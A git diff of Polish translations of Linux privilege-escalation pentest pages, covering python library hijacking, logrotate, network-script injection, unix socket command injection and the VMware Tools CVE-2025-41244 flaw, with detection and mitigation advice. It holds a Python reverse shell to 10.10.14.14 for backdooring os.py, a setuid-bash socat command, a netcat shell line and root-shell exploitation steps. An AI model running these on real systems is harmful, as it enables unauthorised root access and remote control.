jak wyjaśniono w tym wpisie: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Aby **czytać logi**, bardzo pomocna będzie grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group). +Aby **czytać logi grupy** [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie bardzo pomocna. ### Shell files ```bash @@ -1404,41 +1409,41 @@ Aby **czytać logi**, bardzo pomocna będzie grupa [**adm**](interesting-groups- ``` ### Generic Creds Search/Regex -Powinieneś również sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub w **treści**, a także sprawdzić występowanie IP i adresów e-mail w logach lub hashów przy użyciu regexps.\ -Nie będę tu wypisywać, jak to wszystko zrobić, ale jeśli Cię to interesuje możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Powinieneś także sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub w **zawartości**, a także sprawdzić adresy IP i e-maile w logach oraz wyrażenia regularne pasujące do hashy.\ +Nie będę tu opisywać, jak to wszystko zrobić, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia wykonywane przez [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Pliki zapisywalne +## Zapisywalne pliki ### Python library hijacking -Jeśli wiesz, **z jakiego miejsca** skrypt python będzie uruchamiany i możesz **zapisać w** tym folderze lub możesz **modyfikować python libraries**, możesz zmodyfikować bibliotekę OS i backdoor it (jeśli możesz zapisać tam, gdzie skrypt python będzie uruchamiany, skopiuj i wklej bibliotekę os.py). +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -Aby **backdoor the library** po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Eksploatacja logrotate -Wrażliwość w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** na plik logu lub jego katalogi nadrzędne potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, można zmanipulować, aby wykonywał dowolne pliki, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale też w każdym katalogu, gdzie stosowana jest rotacja logów. +Luka w `logrotate` pozwala użytkownikom z **write permissions** do pliku logu lub jego katalogów nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może zostać zmanipulowany do wykonania dowolnych plików, zwłaszcza w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale także w każdym katalogu, dla którego stosowana jest rotacja logów. > [!TIP] -> Ta podatność dotyczy wersji `logrotate` `3.18.0` i starszych +> Ta luka dotyczy wersji `logrotate` `3.18.0` i starszych -Bardziej szczegółowe informacje o podatności znajdują się tutaj: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Bardziej szczegółowe informacje o luce znajdziesz na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Możesz eksploitować tę podatność za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). +Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). -Ta podatność jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc zawsze, gdy możesz modyfikować logi, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, podstawiając logi przez symlinks. +Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)**, więc zawsze gdy znajdziesz możliwość modyfikacji logów, sprawdź kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi linkami symbolicznymi. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Jeśli z jakiegoś powodu użytkownik jest w stanie **zapisać** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **zmodyfikować** istniejący, to twój **system jest pwned**. +Jeśli z jakiegoś powodu użytkownik jest w stanie **write** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **adjust** istniejący, to twój **system is pwned**. -Network scripts, _ifcg-eth0_ na przykład, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są one \~sourced\~ na Linuxie przez Network Manager (dispatcher.d). +Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są ~sourced~ w Linuksie przez Network Manager (dispatcher.d). -W moim przypadku atrybut `NAME=` w tych network scripts nie jest obsługiwany prawidłowo. Jeśli masz **spację/znak odstępu w nazwie, system próbuje wykonać część po tej spacji**. To oznacza, że **wszystko po pierwszej spacji jest wykonywane jako root**. +W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **white/blank space in the name the system tries to execute the part after the white/blank space**. To oznacza, że **everything after the first blank space is executed as root**. Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1446,15 +1451,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Zwróć uwagę na odstęp między Network a /bin/id_) +(_Uwaga: spacja między Network a /bin/id_) ### **init, init.d, systemd i rc.d** -Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuxie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być uruchamiane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`. +Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami Linux**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Można je uruchamiać bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. -Z kolei `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit nadal są używane obok konfiguracji Upstart z powodu warstwy kompatybilności w Upstart. +Z kolei `/etc/init` jest związany z **Upstart**, nowszym systemem **zarządzania usługami** wprowadzonym przez Ubuntu, używającym plików konfiguracyjnych do zadań związanych z usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart dzięki warstwie kompatybilności w Upstart. -**systemd** pojawia się jako nowoczesny menedżer init i usług, oferujący zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automount oraz snapshoty stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucji oraz `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemu. +**systemd** pojawia się jako nowoczesny init i manager usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automount oraz snapshoty stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając administrację systemem. ## Inne sztuczki @@ -1481,7 +1486,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Frameworki do rootowania Androida często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność jądra menedżerowi w userspace. Słaba autentykacja menedżera (np. sprawdzenia podpisu oparte na FD-order lub słabe schematy haseł) może pozwolić lokalnej aplikacji na podszycie się pod menedżera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej i zobacz szczegóły eksploatacji tutaj: +Android rooting frameworks często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność kernela menedżerowi userspace. Słaba autentykacja menedżera (np. sprawdzanie sygnatury oparte na porządku FD lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod menedżera i eskalację do root na już zrootowanych urządzeniach. Więcej informacji i szczegóły eksploatacji tutaj: {{#ref}} @@ -1490,24 +1495,24 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Odkrywanie usług oparte na Regex w VMware Tools/Aria Operations może wyciągnąć ścieżkę do binarki z linii poleceń procesu i uruchomić ją z parametrem -v w uprzywilejowanym kontekście. Permisywne wzorce (np. użycie \S) mogą dopasować podłożone przez atakującego nasłuchy w zapisywalnych lokalizacjach (np. /tmp/httpd), prowadząc do wykonania jako root (CWE-426 Untrusted Search Path). +Regex-driven service discovery w VMware Tools/Aria Operations może wyciągnąć ścieżkę binarki z linii poleceń procesu i uruchomić ją z -v w uprzywilejowanym kontekście. Permisywne wzorce (np. używające \S) mogą dopasować listenery przygotowane przez atakującego w zapisywalnych lokalizacjach (np. /tmp/httpd), prowadząc do wykonania jako root (CWE-426 Untrusted Search Path). -Dowiedz się więcej i zobacz uogólniony wzorzec zastosowalny w innych stosach discovery/monitoringu tutaj: +Dowiedz się więcej i zobacz uogólniony wzorzec zastosowalny do innych stacków discovery/monitoring tutaj: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Mechanizmy ochrony jądra +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Więcej pomocy +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Narzędzia Linux/Unix Privesc +## Linux/Unix Privesc Tools ### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) @@ -1516,13 +1521,13 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumeruje luki jądra w Linux i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referencje +## References - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index ab9c0340c..7617c7f47 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -4,7 +4,7 @@ ## Socket binding — przykład w Pythonie -W poniższym przykładzie tworzony jest **unix socket** (`/tmp/socket_test.s`), a wszystko, co zostanie **odebrane**, zostanie **wykonane** przez `os.system`. Wiem, że nie znajdziesz tego w rzeczywistych systemach, ale celem tego przykładu jest pokazanie, jak wygląda kod używający unix socketów oraz jak poradzić sobie z wejściem w najgorszym możliwym przypadku. +W poniższym przykładzie tworzony jest **unix socket** (`/tmp/socket_test.s`), a wszystko, co zostanie **odebrane**, zostanie **wykonane** przez `os.system`. Wiem, że nie znajdziesz tego w praktyce, ale celem tego przykładu jest pokazanie, jak wygląda kod używający unix socketów i jak poradzić sobie z danymi wejściowymi w najgorszym możliwym przypadku. ```python:s.py import socket import os, os.path @@ -26,7 +26,7 @@ print(datagram) os.system(datagram) conn.close() ``` -**Uruchom** kod za pomocą python: `python s.py` i **sprawdź, jak socket nasłuchuje**: +**Uruchom** kod przy użyciu python: `python s.py` i **sprawdź, jak socket nasłuchuje**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info @@ -37,17 +37,17 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` -## Studium przypadku: eskalacja wyzwalana sygnałem przez socket UNIX należący do root (LG webOS) +## Studium przypadku: Root-owned UNIX socket signal-triggered escalation (LG webOS) -Niektóre uprzywilejowane demony wystawiają socket UNIX należący do root, który akceptuje nieufne dane wejściowe i powiązuje uprzywilejowane akcje z identyfikatorami wątków (thread-IDs) oraz sygnałami. Jeśli protokół pozwala nieuprzywilejowanemu klientowi wpłynąć na to, który natywny wątek jest celem, możesz być w stanie wywołać uprzywilejowaną ścieżkę kodu i eskalować. +Niektóre uprzywilejowane demony udostępniają root-owned UNIX socket, który przyjmuje niezaufane dane wejściowe i wiąże uprzywilejowane akcje z identyfikatorami wątków i sygnałami. Jeśli protokół pozwala nieuprzywilejowanemu klientowi wpływać na to, który native thread jest celem, możesz być w stanie wywołać uprzywilejowaną ścieżkę kodu i eskalować. -Observed pattern: -- Połącz się z socketem należącym do root (np. /tmp/remotelogger). -- Utwórz wątek i uzyskaj jego natywny thread id (TID). -- Wyślij TID (spakowany) oraz padding jako żądanie; odbierz potwierdzenie. +Zaobserwowany wzorzec: +- Połącz się z root-owned socket (np. /tmp/remotelogger). +- Utwórz thread i uzyskaj jego native thread id (TID). +- Wyślij TID (spakowany) plus padding jako żądanie; odbierz potwierdzenie. - Dostarcz konkretny sygnał do tego TID, aby wywołać uprzywilejowane zachowanie. -Minimal PoC sketch: +Minimalny szkic PoC: ```python import socket, struct, os, threading, time # Spawn a thread so we have a TID we can signal @@ -59,14 +59,14 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f ``` -Uwagi: -- Ten rodzaj błędów powstaje z zaufania do wartości pochodzących ze stanu klienta bez uprawnień (TIDs) i powiązywania ich z uprzywilejowanymi handlerami sygnałów lub logiką. -- Wzmocnij poprzez wymuszanie uwierzytelnienia na socket, walidację formatów wiadomości oraz odseparowanie uprzywilejowanych operacji od zewnętrznie dostarczanych identyfikatorów wątków. +Notatki: +- Ten typ błędów wynika z ufania wartościom pochodzącym ze stanu klienta bez uprawnień (TIDs) i wiązania ich z uprzywilejowanymi signal handlers lub logiką. +- Wzmocnić poprzez wymuszanie poświadczeń na socket, walidację formatów wiadomości oraz oddzielenie uprzywilejowanych operacji od zewnętrznie dostarczanych thread identifiers. ## Referencje diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md index a6c15a782..407988239 100644 --- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -1,22 +1,23 @@ -# VMware Tools service discovery LPE (CWE-426) poprzez regex-based binary discovery (CVE-2025-41244) +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) {{#include ../../banners/hacktricks-training.md}} -Ta technika nadużywa potoków service discovery sterowanych regexami, które parsują linie poleceń uruchomionych procesów, aby wywnioskować wersje usług, a następnie wykonują kandydacki binarny plik z flagą "version". Gdy dopuszczające wzorce akceptują niezaufane, kontrolowane przez atakującego ścieżki (np. /tmp/httpd), uprzywilejowany collector wykonuje dowolny binarny plik z niezaufanej lokalizacji, co prowadzi do lokalnej eskalacji uprawnień. NVISO udokumentowało to w VMware Tools/Aria Operations Service Discovery jako CVE-2025-41244. +Ta technika wykorzystuje pipeline'y service discovery oparte na regex, które analizują linie poleceń uruchomionych procesów, aby wywnioskować wersje usług, a następnie uruchamiają wybrany binarny plik z flagą "version". Gdy permisywne wzorce akceptują nieufne, kontrolowane przez atakującego ścieżki (np. /tmp/httpd), uprzywilejowany collector uruchamia dowolny binarny z nieufnej lokalizacji, prowadząc do lokalnej eskalacji uprawnień. NVISO udokumentowało to w VMware Tools/Aria Operations Service Discovery jako CVE-2025-41244. - Impact: Lokalna eskalacja uprawnień do root (lub do uprzywilejowanego konta discovery) -- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines -- Affected: open-vm-tools/VMware Tools na Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) +- Root cause: Untrusted Search Path (CWE-426) + zbyt permisywne dopasowywanie regex do linii poleceń procesów +- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) ## How VMware service discovery works (high level) -- Credential-based (legacy): Aria wykonuje discovery scripts wewnątrz guest przez VMware Tools, używając skonfigurowanych uprzywilejowanych poświadczeń. -- Credential-less (modern): Logika discovery działa w ramach VMware Tools, już uprzywilejowana w guest. -- Oba tryby ostatecznie uruchamiają logikę shell, która skanuje procesy z nasłuchującymi socketami, wyciąga dopasowaną ścieżkę polecenia za pomocą regex i wykonuje pierwszy token argv z flagą wersji. +- Credential-based (legacy): Aria uruchamia discovery scripts wewnątrz gościa za pomocą VMware Tools używając skonfigurowanych uprzywilejowanych poświadczeń. +- Credential-less (modern): Logika discovery działa wewnątrz VMware Tools, już uprzywilejowana w gościu. + +Oba tryby ostatecznie uruchamiają shellową logikę, która skanuje procesy z nasłuchującymi socketami, wyciąga pasującą ścieżkę polecenia za pomocą regex i wykonuje pierwszy token argv z flagą wersji. ## Root cause and vulnerable pattern (open-vm-tools) -W open-vm-tools, skrypt pluginu serviceDiscovery get-versions.sh dopasowuje kandydackie binaria używając szerokich wyrażeń regularnych i uruchamia pierwszy token bez jakiejkolwiek walidacji trusted-path: +W open-vm-tools, plugin serviceDiscovery skrypt get-versions.sh dopasowuje kandydackie binarki przy użyciu szerokich wyrażeń regularnych i wykonuje pierwszy token bez żadnej walidacji zaufanej ścieżki: ```bash get_version() { PATTERN=$1 @@ -28,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") done } ``` -Jest wywoływany z dopuszczającymi wzorcami zawierającymi \S (znak niebędący białym znakiem), które chętnie dopasują nie-systemowe ścieżki w lokalizacjach zapisywalnych przez użytkownika: +Jest wywoływany z luźnymi wzorcami zawierającymi \S (non-whitespace), które z łatwością dopasują ścieżki spoza systemu w lokalizacjach zapisywalnych przez użytkownika: ```bash get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v get_version "/usr/(bin|sbin)/apache\S*" -v @@ -37,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v get_version "/\S+/srm/bin/vmware-dr($|\s)" --version get_version "/\S+/dataserver($|\s)" -v ``` -- Ekstrakcja używa grep -Eo i pobiera pierwszy token: ${COMMAND%%[[:space:]]*} -- Brak whitelist/allowlist zaufanych ścieżek systemowych; każdy wykryty listener o pasującej nazwie jest uruchamiany z -v/--version +- Ekstrakcja używa grep -Eo i bierze pierwszy token: ${COMMAND%%[[:space:]]*} +- Brak whitelist/allowlist zaufanych ścieżek systemowych; każdy wykryty listener z pasującą nazwą jest uruchamiany z -v/--version -This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. +To tworzy prymityw wykonania z nieufnej ścieżki wyszukiwania: dowolne binarki znajdujące się w katalogach zapisywalnych przez wszystkich (np. /tmp/httpd) są uruchamiane przez uprzywilejowany komponent. -## Eksploatacja (zarówno w trybie bez poświadczeń, jak i w trybie z poświadczeniami) +## Eksploatacja (zarówno bezpoświadczeniowy, jak i oparty na poświadczeniach) -Warunki wstępne -- Możesz uruchomić proces bez uprawnień, który otwiera gniazdo nasłuchujące na gościu. -- Zadanie discovery jest włączone i działa okresowo (historycznie ~5 minut). +Preconditions +- Możesz uruchomić nieuprzywilejowany proces, który otwiera gniazdo nasłuchujące na gościu. +- Zadanie discovery jest włączone i uruchamia się okresowo (historycznie ~5 minut). -Kroki -1) Umieść binarkę w ścieżce pasującej do jednego z liberalnych regexów, np. /tmp/httpd lub ./nginx +Steps +1) Umieść binarkę w ścieżce pasującej do jednego z permisywnych regexów, np. /tmp/httpd or ./nginx 2) Uruchom ją jako użytkownik o niskich uprawnieniach i upewnij się, że otwiera dowolne gniazdo nasłuchujące -3) Poczekaj na cykl discovery; uprzywilejowany collector automatycznie wykona: /tmp/httpd -v (lub podobnie), uruchamiając twój program jako root +3) Poczekaj na cykl discovery; uprzywilejowany collector automatycznie wykona: /tmp/httpd -v (lub podobne), uruchamiając Twój program jako root -Minimalne demo (używając podejścia NVISO) +Minimal demo (wykorzystując podejście NVISO) ```bash # Build any small helper that: # - default mode: opens a dummy TCP listener @@ -64,61 +65,61 @@ chmod +x /tmp/httpd /tmp/httpd # run as low-priv user and wait for the cycle # After the next cycle, expect a root shell or your privileged action ``` -Typowy przebieg procesu -- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i -- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i +Typowy ciąg procesów +- Oparte na poświadczeniach: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Bez poświadczeń: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i -Artefakty (credential-based) -Odzyskane SDMP wrapper scripts pod /tmp/VMware-SDMP-Scripts-{UUID}/ mogą pokazywać bezpośrednie uruchomienie złośliwej ścieżki: +Artefakty (oparte na poświadczeniach) +Odzyskane skrypty wrapper SDMP w /tmp/VMware-SDMP-Scripts-{UUID}/ mogą wykazywać bezpośrednie uruchomienie nieautoryzowanej ścieżki: ```bash /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" ``` -## Uogólnianie techniki: nadużycie wykrywania sterowanego regexem (wzorzec przenośny) +## Uogólnienie techniki: nadużycie odkrywania opartego na regexach (przenośny wzorzec) -Wiele agentów i pakietów monitorujących implementuje wykrywanie wersji/usługi poprzez: -- Enumerowanie procesów z listening sockets -- Przeszukiwanie argv/command lines za pomocą permisywnych regexów (np. wzorce zawierające \S) -- Wykonywanie dopasowanej ścieżki z pozornie nieszkodliwym przełącznikiem takim jak -v, --version, -V, -h +Wiele agentów i pakietów monitorujących implementuje wykrywanie wersji/usług przez: +- enumerację procesów z nasłuchującymi socketami +- przeszukiwanie argv/linii poleceń przy użyciu permisywnych regexów (np. wzorców zawierających \S) +- wykonanie dopasowanej ścieżki z nieszkodliwą flagą taką jak -v, --version, -V, -h Jeśli regex akceptuje niezaufane ścieżki i ścieżka jest wykonywana z uprzywilejowanego kontekstu, otrzymujesz CWE-426 Untrusted Search Path execution. -Abuse recipe -- Nazwij swój plik binarny tak jak popularne daemony, które regex prawdopodobnie dopasuje: httpd, nginx, mysqld, dataserver -- Umieść go w katalogu z prawami zapisu: /tmp/httpd, ./nginx -- Upewnij się, że pasuje do regex i otwiera dowolny port do wykrycia -- Poczekaj na zaplanowany collector; otrzymasz automatyczne uprzywilejowane wywołanie -v +Sposób nadużycia +- Nazwij swój plik binarny tak jak powszechne demony, które regex prawdopodobnie dopasuje: httpd, nginx, mysqld, dataserver +- Umieść go w zapisywalnym katalogu: /tmp/httpd, ./nginx +- Upewnij się, że pasuje do regexu i otwiera dowolny port, aby został zenumerowany +- Poczekaj na zaplanowany kolektor; otrzymasz automatyczne uprzywilejowane wywołanie -v -Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. +Uwaga dot. maskowania: To odpowiada MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) w celu zwiększenia prawdopodobieństwa dopasowania i ukrycia. -Reusable privileged I/O relay trick -- Zbuduj swój helper tak, aby przy uprzywilejowanym wywołaniu (-v/--version) łączył się z ustalonym rendezvous (np. abstrakcyjnym socketem UNIX w Linuksie takim jak @cve) i mostkował stdio do /bin/sh -i. To unika artefaktów na dysku i działa w wielu środowiskach, gdzie ten sam binarny plik jest ponownie wywoływany z flagą. +Wielokrotnego użytku trik uprzywilejowanego przekaźnika I/O +- Zbuduj swojego pomocnika tak, aby przy uprzywilejowanym wywołaniu (-v/--version) łączył się ze znanym punktem zbornym (np. abstrakcyjnym socketem UNIX na Linuksie jak @cve) i łączył stdio z /bin/sh -i. To unika artefaktów na dysku i działa w wielu środowiskach, gdzie ten sam plik binarny jest ponownie wywoływany z flagą. -## Detection and DFIR guidance +## Wykrywanie i wskazówki DFIR -Hunting queries -- Nietypowe procesy potomne vmtoolsd lub get-versions.sh, takie jak /tmp/httpd, ./nginx, /tmp/mysqld -- Każde wykonanie absolutnych ścieżek spoza systemu przez discovery scripts (zwróć uwagę na spacje w ${COMMAND%%...} expansions) -- ps -ef --forest aby zwizualizować ancestry trees: vmtoolsd -> get-versions.sh -> +Zapytania detekcyjne +- Rzadkie (nieoczekiwane) potomki vmtoolsd lub get-versions.sh, takie jak /tmp/httpd, ./nginx, /tmp/mysqld +- Wszelkie wykonywanie absolutnych ścieżek spoza systemowych przez skrypty odkrywające (szukaj spacji w ekspansjach ${COMMAND%%...}) +- ps -ef --forest do wizualizacji drzew przodków: vmtoolsd -> get-versions.sh -> -On Aria SDMP (credential-based) -- Sprawdź /tmp/VMware-SDMP-Scripts-{UUID}/ w poszukiwaniu transient scripts oraz stdout/stderr artifacts pokazujących wykonanie attacker paths +W Aria SDMP (oparte na poświadczeniach) +- Sprawdź /tmp/VMware-SDMP-Scripts-{UUID}/ pod kątem przejściowych skryptów i artefaktów stdout/stderr pokazujących wykonanie ścieżek atakującego -Policy/telemetry -- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ -- File integrity monitoring on get-versions.sh and VMware Tools plugins +Polityka/telemetria +- Generuj alert, gdy uprzywilejowane kolektory wykonują się z prefiksów spoza systemowych: ^/(tmp|home|var/tmp|dev/shm)/ +- Monitorowanie integralności plików dla get-versions.sh i wtyczek VMware Tools -## Mitigations +## Środki zaradcze -- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) -- Wyłącz lub ogranicz credential-less discovery tam, gdzie to możliwe -- Weryfikuj trusted paths: ogranicz wykonywanie do allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) i tylko do dokładnie znanych binariów -- Unikaj permisywnych regexów z \S; preferuj zakotwiczone, jawne ścieżki absolutne i dokładne nazwy poleceń -- Ogranicz uprawnienia discovery helpers tam, gdzie to możliwe; stosuj sandbox (seccomp/AppArmor) aby zmniejszyć wpływ -- Monitoruj i generuj alerty dla vmtoolsd/get-versions.sh wykonujących ścieżki spoza systemu +- Patch: Zastosuj aktualizacje Broadcom/VMware dla CVE-2025-41244 (Tools and Aria Operations SDMP) +- Wyłącz lub ogranicz wykrywanie bez poświadczeń tam, gdzie jest to możliwe +- Waliduj zaufane ścieżki: ogranicz wykonywanie do dozwolonych katalogów (/usr/sbin, /usr/bin, /sbin, /bin) i tylko do dokładnie znanych binariów +- Unikaj permisywnych regexów z \S; preferuj zakotwiczone, wyraźne ścieżki absolutne i dokładne nazwy poleceń +- Zrzuć przywileje dla pomocników odkrywających tam, gdzie to możliwe; użyj sandboxingu (seccomp/AppArmor) aby zmniejszyć skutki +- Monitoruj i generuj alerty na vmtoolsd/get-versions.sh wykonujące ścieżki spoza systemowych -## Notes for defenders and implementers +## Uwagi dla obrońców i implementatorów -Safer matching and execution pattern +Bezpieczniejszy wzorzec dopasowania i wykonywania ```bash # Bad: permissive regex and blind exec COMMAND=$(get_command_line "$pid" | grep -Eo 